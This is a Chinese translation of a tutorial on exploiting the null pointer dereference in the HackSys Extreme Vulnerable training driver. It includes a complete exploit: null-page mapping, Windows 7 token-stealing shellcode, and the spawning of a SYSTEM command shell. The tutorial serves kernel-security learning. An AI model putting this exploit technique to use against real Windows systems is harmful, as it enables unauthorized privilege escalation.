原标题:Windows Kernel Exploitation – NullPointer Dereference

原文地址:https://osandamalith.com/2017/06/22/windows-kernel-exploitation-null-pointer-dereference/

由prison翻译整理,首发i春秋

引言:Windows内核漏洞的利用和学习一直是众多白帽子心中的痛,相对于web安全来说内核学习方面的文章实在太少,今天


为大家带来的是Windows内核内核安全学习较为基础的文章,步骤完善,适合初学者。难度:三颗星

今天我要分享的是在HackSy**treme练习程序中对于空指针解引用漏洞的利用方法。

漏洞概述:资源在这: https://github.com/hacksysteam/HackSy**tremeVulnerableDriver/blob/master/Driver/NullPointerDereference.c

NTSTATUS TriggerNullPointerDereference(IN PVOID UserBuffer) {
    ULONG UserValue = 0;
    ULONG MagicValue = 0xBAD0B0B0;
    NTSTATUS Status = STATUS_SUCCESS;
    PNULL_POINTER_DEREFERENCE NullPointerDereference = NULL;
  
    PAGED_CODE();
  
    __try {
        // Verify if the buffer resides in user mode
        ProbeForRead(UserBuffer,
                     sizeof(NULL_POINTER_DEREFERENCE),
                     (ULONG)__alignof(NULL_POINTER_DEREFERENCE));
  
        // Allocate Pool chunk
        NullPointerDereference = (PNULL_POINTER_DEREFERENCE)
                                  ExAllocatePoolWithTag(NonPagedPool,
                                                        sizeof(NULL_POINTER_DEREFERENCE),
                                                        (ULONG)POOL_TAG);
  
        if (!NullPointerDereference) {
            // Unable to allocate Pool chunk
            DbgPrint("[-] Unable to allocate Pool chunk\n");
  
            Status = STATUS_NO_MEMORY;
            return Status;
        }
        else {
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
            DbgPrint("[+] Pool Size: 0x%X\n", sizeof(NULL_POINTER_DEREFERENCE));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
        }
  
        // Get the value from user mode
        UserValue = *(PULONG)UserBuffer;
  
        DbgPrint("[+] UserValue: 0x%p\n", UserValue);
        DbgPrint("[+] NullPointerDereference: 0x%p\n", NullPointerDereference);
  
        // Validate the magic value
        if (UserValue == MagicValue) {
            NullPointerDereference->Value = UserValue;
            NullPointerDereference->Callback = &NullPointerDereferenceObjectCallback;
  
            DbgPrint("[+] NullPointerDereference->Value: 0x%p\n", NullPointerDereference->Value);
            DbgPrint("[+] NullPointerDereference->Callback: 0x%p\n", NullPointerDereference->Callback);
        }
        else {
            DbgPrint("[+] Freeing NullPointerDereference Object\n");
            DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
            DbgPrint("[+] Pool Chunk: 0x%p\n", NullPointerDereference);
  
            // Free the allocated Pool chunk
            ExFreePoolWithTag((PVOID)NullPointerDereference, (ULONG)POOL_TAG);
  
            // Set to NULL to avoid dangling pointer
            NullPointerDereference = NULL;
        }
  
#ifdef SECURE
        // Secure Note: This is secure because the developer is checking if
        // 'NullPointerDereference' is not NULL before calling the callback function
        if (NullPointerDereference) {
            NullPointerDereference->Callback();
        }
#else
        DbgPrint("[+] Triggering Null Pointer Dereference\n");
  
        // Vulnerability Note: This is a vanilla Null Pointer Dereference vulnerability
        // because the developer is not validating if 'NullPointerDereference' is NULL
        // before calling the callback function
        NullPointerDereference->Callback();
#endif
    }
    __except (EXCEPTION_EXECUTE_HANDLER) {
        Status = GetExceptionCode();
        DbgPrint("[-] Exception Code: 0x%X\n", Status);
    }
  
    return Status;
}

如你所见,在源代码中你可以很清楚的看到程序的一切操作。在第42行,将“userValue”与值“0xBAD0B0B0”进行比较,如果在第58行失败,则“NullPointerDereference”值被设置为NULL,在第73行中,值“NullPointerDereference”在调用回调函数之前没有被验证。

让我们把它拆开来看。可以看到,如果提供的“MagicValue”是错误的,那么“NullPointerDereference”的值将被设置为NULL,以避免指针挂起。

xor esi, esi

但是在最后一行,当回调函数被调用时,“NullPointerDereference”的值没有被验证,它是NULL。因此,这导致了一个BSOD,不过,有一个例外处理程序可以避免这一点。

测试漏洞我将使用这个驱动程序头文件中提供的IOCTL值。

#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE  CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)

现在将0xBAD0B0B0作为用户输入赋值给”MagicValue’

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
  
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
  
int _tmain(int argc, _TCHAR* argv[]) {
    HANDLE hDevice;
    DWORD lpBytesReturned;
    PVOID pMemoryAddress = NULL;
    LPCWSTR lpDeviceName = L"\\\\.\\HackSy**tremeVulnerableDriver";
    ULONG MagicValue = 0xBAD0B0B0;
  
    hDevice = CreateFile(
        lpDeviceName,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);
  
    wprintf(L" Author: @OsandaMalith\n Website: [url]https://osandamalith.com[/url]\n\n");
    wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);
  
    if (hDevice == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
        return 1;
    }
  
    wprintf(L"[+] Sending IOCTL request\n");
  
    DeviceIoControl(
        hDevice,
        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
        (LPVOID)&MagicValue,
        NULL,
        NULL,
        0,
        &lpBytesReturned,
        NULL);
  
    CloseHandle(hDevice);
  
    return 0;
}

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrTest.cpp

然后你会看到,屏幕中打印出“[+] Null Pointer Dereference Object Callback”字样,这说明回调函数执行成功。

而如果我们想搞点不一样的姿势的话可以传递一个错误的“MagicValue”值,比如“0xBaadBabe”,由于异常被处理,BSOD将被阻止。

ULONG MagicValue = 0xBaadBabe;

我在这搞了个断点。

call    dword ptr [esi+4]

一旦我用错误的“MagicValue”触发漏洞,我们就会碰到断点。现在的问题是在地址0×00000004上分配我们的指针到shell代码。

如何在0×4分配DWORD?

像VirtualAlloc或VirtualAlloc这样的函数不允许我们在小于0×00001000的起始地址分配内存。因此,我们将不得不使用NTAPI无参数函数的“NtAllocateVirtualMemory”来在用户空间中映射一个空页,然后,我们可以在地址0×00000004上写一个指向shell代码的指针。

NTSTATUS NtAllocateVirtualMemory(
  _In_    HANDLE    ProcessHandle,
  _Inout_ PVOID     *BaseAddress,
  _In_    ULONG_PTR ZeroBits,
  _Inout_ PSIZE_T   RegionSize,
  _In_    ULONG     AllocationType,
  _In_    ULONG     Protect
);

https://undocumented.ntinternals.net

下面是一个示例代码,我在地址0×4中分配了值“0×12345678”

#include "stdafx.h"
#include <windows.h>
  
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG ZeroBits,
    PULONG AllocationSize,
    ULONG AllocationType,
    ULONG Protect
    );
    
int _tmain(int argc, _TCHAR* argv[]) {
  
    PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
      
    if (!NtAllocateVirtualMemory) {
        wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError());
        return -1;
    }
      
    PVOID BaseAddress = (PVOID)0x1;
    SIZE_T RegionSize = 1024;
  
    NTSTATUS ntStatus = NtAllocateVirtualMemory(
        GetCurrentProcess(),
        &BaseAddress,
        0,
        &RegionSize,
        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
        PAGE_EXECUTE_READWRITE
        );
  
    PVOID ShellcodePtr = (PVOID)((ULONG)0x4);
    *(PULONG)ShellcodePtr = (ULONG)0x12345678;
}

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPage.cpp

如果我们检查内存转储,我们可以看到我们在地址0×4中成功地分配了一个DWORD。

最终利用我们现在可以综合一下上述所得到的所有线索,把我们的shell代码写到0×4并传递一个错误的“MagicValue”值来触发漏洞。

#include "stdafx.h"
#include <stdio.h>
#include <Windows.h>
#include <Shlobj.h>
  
  
#define HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE CTL_CODE(FILE_DEVICE_UNKNOWN, 0x80A, METHOD_NEITHER, FILE_ANY_ACCESS)
  
#define KTHREAD_OFFSET    0x124    // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET   0x050    // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET        0x0B4    // nt!_EPROCESS.UniqueProcessId
#define FLINK_OFFSET      0x0B8    // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET      0x0F8    // nt!_EPROCESS.Token
#define SYSTEM_PID        0x004    // SYSTEM Process PID
  
  
typedef NTSTATUS(WINAPI *PNtAllocateVirtualMemory)(
    HANDLE ProcessHandle,
    PVOID *BaseAddress,
    ULONG ZeroBits,
    PULONG AllocationSize,
    ULONG AllocationType,
    ULONG Protect
    );
  
VOID TokenStealingShellcodeWin7() {
    __asm {
        ; initialize
            pushad; save registers state
  
            xor eax, eax; Set zero
            mov eax, fs:[eax + KTHREAD_OFFSET]; Get nt!_KPCR.PcrbData.CurrentThread
            mov eax, [eax + EPROCESS_OFFSET]; Get nt!_KTHREAD.ApcState.Process
  
            mov ecx, eax; Copy current _EPROCESS structure
  
            mov ebx, [eax + TOKEN_OFFSET]; Copy current nt!_EPROCESS.Token
            mov edx, SYSTEM_PID; WIN 7 SP1 SYSTEM Process PID = 0x4
  
        SearchSystemPID:
        mov eax, [eax + FLINK_OFFSET]; Get nt!_EPROCESS.ActiveProcessLinks.Flink
            sub eax, FLINK_OFFSET
            cmp[eax + PID_OFFSET], edx; Get nt!_EPROCESS.UniqueProcessId
            jne SearchSystemPID
  
            mov edx, [eax + TOKEN_OFFSET]; Get SYSTEM process nt!_EPROCESS.Token
            mov[ecx + TOKEN_OFFSET], edx; Copy nt!_EPROCESS.Token of SYSTEM
            ; to current process
            popad; restore registers state
    }
}
  
int _tmain(void)
{
    HANDLE hDevice;
    DWORD lpBytesReturned;
    PVOID pMemoryAddress = NULL;
    LPCWSTR lpDeviceName = L"\\\\.\\HackSy**tremeVulnerableDriver";
    STARTUPINFO si = { sizeof(STARTUPINFO) };
    PROCESS_INFORMATION pi;
    ULONG MagicValue = 0xBaadBabe;
  
    hDevice = CreateFile(
        lpDeviceName,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        NULL,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL | FILE_FLAG_OVERLAPPED,
        NULL);
  
    wprintf(L" Author: @OsandaMalith\n Website: [url]https://osandamalith.com[/url]\n\n");
    wprintf(L"[+] lpDeviceName: %ls\n", lpDeviceName);
  
    if (hDevice == INVALID_HANDLE_VALUE) {
        wprintf(L"[!] Failed to get a handle to the driver. 0x%x\n", GetLastError());
        return -1;
    }
  
    PNtAllocateVirtualMemory NtAllocateVirtualMemory = (PNtAllocateVirtualMemory)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtAllocateVirtualMemory");
  
    if (!NtAllocateVirtualMemory) {
        wprintf(L"[!] Failed to Resolve NtAllocateVirtualMemory: 0x%X\n", GetLastError());
        return -1;
    }
  
    PVOID BaseAddress = (PVOID)0x1;
    SIZE_T RegionSize = 1024;
  
    NTSTATUS ntStatus = NtAllocateVirtualMemory(
        GetCurrentProcess(),
        &BaseAddress,
        0,
        &RegionSize,
        MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,
        PAGE_EXECUTE_READWRITE
        );
  
    PVOID ShellcodePtr = (PVOID)((ULONG)0x4);
    *(PULONG)ShellcodePtr = (ULONG)&TokenStealingShellcodeWin7;
  
    wprintf(L"[+] Sending IOCTL request\n");
  
    DeviceIoControl(
        hDevice,
        HACKSYS_EVD_IOCTL_NULL_POINTER_DEREFERENCE,
        (LPVOID)&MagicValue,
        NULL,
        NULL,
        0,
        &lpBytesReturned,
        NULL);
  
    ZeroMemory(&si, sizeof si);
    si.cb = sizeof si;
    ZeroMemory(&pi, sizeof pi);
  
    IsUserAnAdmin() ?
  
    CreateProcess(
        L"C:\\Windows\\System32\\cmd.exe",
        L"/T:17",
        NULL,
        NULL,
        0,
        CREATE_NEW_CONSOLE,
        NULL,
        NULL,
        (STARTUPINFO *)&si,
        (PROCESS_INFORMATION *)&pi) :
  
    wprintf(L"[!] Exploit Failed!");
  
    CloseHandle(hDevice);
    return 0;
}

https://github.com/OsandaMalith/Exploits/blob/master/HEVD/NullPtrDereference.cpp现在 在“calldword ptr [esi+4]”这个设置断点的地方, 验证我们的exp并且查看内存中0×4的位置。

然后我们检查它指向哪里,可以看出它正在指向我们的token窃取代码。

OK~大功告成,这是我们拿到的shell。

Windows 内核漏洞学习—空指针解引用的更多相关文章

  1. 【翻译】 Windows 内核漏洞学习—空指针解引用

    Windows Kernel Exploitation – NullPointer Dereference 原文地址:https://osandamalith.com/2017/06/22/windo ...

  2. Fibratus:一款功能强大的Windows内核漏洞利用和跟踪工具

    今天给大家介绍的是一款名叫Fibratus的开源工具,广大研究人员可以使用这款功能强大的工具来进行Windows内核漏洞利用.挖掘与跟踪. Fibratus这款工具能够捕捉到绝大多数的Windows内 ...

  3. 内核漏洞学习—熟悉HEVD

    一直以来内核漏洞安全给很多人的印象就是:难,枯燥.但是内核安全是否掌握是衡量一个系统安全工程师水平的标准之一,也是安全从业人员都应该掌握的基本功.本文通过详细的实例带领读者走进内核安全的大门.难度系数 ...

  4. Windows内核开发-6-内核机制 Kernel Mechanisms

    Windows内核开发-6-内核机制 Kernel Mechanisms 一部分Windows的内核机制对于驱动开发很有帮助,还有一部分对于内核理解和调试也很有帮助. Interrupt Reques ...

  5. 学习windows内核书籍推荐 ----------转自http://tieshow.iteye.com/blog/1565926

      虽然,多年java,正在java,看样子还得继续java.(IT小城,还是整java随意点)应用程序 运行于操作系统之上,  晓操作系统,方更晓应用程序. 主看windows,因为可玩性高,闭源才 ...

  6. Windows内核驱动开发入门学习资料

    声明:本文所描述的所有资料和源码均搜集自互联网,版权归原始作者所有,所以在引用资料时我尽量注明原始作者和出处:本文所搜集资料也仅供同学们学习之用,由于用作其他用途引起的责任纠纷,本人不负任何责任.(本 ...

  7. Linux Kernel 空指针逆向引用拒绝服务漏洞

    漏洞名称: Linux Kernel 空指针逆向引用拒绝服务漏洞 CNNVD编号: CNNVD-201306-449 发布时间: 2013-07-01 更新时间: 2013-07-01 危害等级:   ...

  8. Linux kernel pwn notes(内核漏洞利用学习)

    前言 对这段时间学习的 linux 内核中的一些简单的利用技术做一个记录,如有差错,请见谅. 相关的文件 https://gitee.com/hac425/kernel_ctf 相关引用已在文中进行了 ...

  9. PHP "gdImageCreateFromXpm()"空指针间接引用漏洞

    漏洞版本: PHP PHP 5.5.10 PHP PHP 5.4.26 漏洞描述: CVE ID: CVE-2014-2497 PHP是一种HTML内嵌式的语言. PHP 5.4.26.5.5.10版 ...

随机推荐

  1. 一名优秀的UI设计师应该具备哪些条件?

    想做好一个好的UI设计师除了应该具有一定的审美能力,还要了解整个产品的开发过程,因为目前国内的软件行业还不能对UI设计形成应有的重视度,所以对我们的要求就更高了,你要能作出夺人眼球的东西,还要站在用户 ...

  2. 局域网2台机器访问mysql服务器

  3. stl中char 与wchar 的转换

    学习记录: stl中 字符串 str自然对应的是string 宽字符串wchar 对应的是wstring 宽字符串占用两个字节 两者的转换有三种办法 1 windows 的api转换函数WideCha ...

  4. 【文件下载】Java下载文件的几种方式

    [文件下载]Java下载文件的几种方式  摘自:https://www.cnblogs.com/sunny3096/p/8204291.html 1.以流的方式下载. public HttpServl ...

  5. 网站SEO优化的方法

    网站SEO优化的方法: 1.url静态化和规范化:url中都去掉了index.php这样的后缀网址形式,目的就是让网站的层级更浅,获得的权重更高 代码中可以使用urlrewrite重写. 2.域名30 ...

  6. 2018.09.07 codeforces311B. Cats Transport(斜率优化dp)

    传送门 斜率优化dp好题. 对于第i只猫,显然如果管理员想从出发开始刚好接到它,需要在t[i]=h[i]−dist(1,i)" role="presentation" s ...

  7. 2018.08.12 bzoj5301: [Cqoi2018]异或序列(前缀和+莫队)

    传送门 简单的异或前缀和处理+莫队统计答案. 惊奇的发现无论开不开long long都能跑过... 代码: #include<bits/stdc++.h> #define N 100005 ...

  8. java多线程同步(转)

    原文地址:http://developer.51cto.com/art/201509/490965.htm 一.场景 因为当我们有多个线程要同时访问一个变量或对象时,如果这些线程中既有读又有写操作时, ...

  9. Field '***********' doesn't have a default value

    今天做配置文件一直报这个错误: 原因是主键是integer类型,没有设置自增模式,所以会出现这个问题,是表的结构问题.更改用navicat

  10. java获取变量的类型

    对于简单类型变量,是无法直接获得变量类型的://要想获取,必须自定义函数进行返回 对于包装类型变量,是可以直接获得的,变量名称.getClass().getName(); java中获取变量的类型可以 ...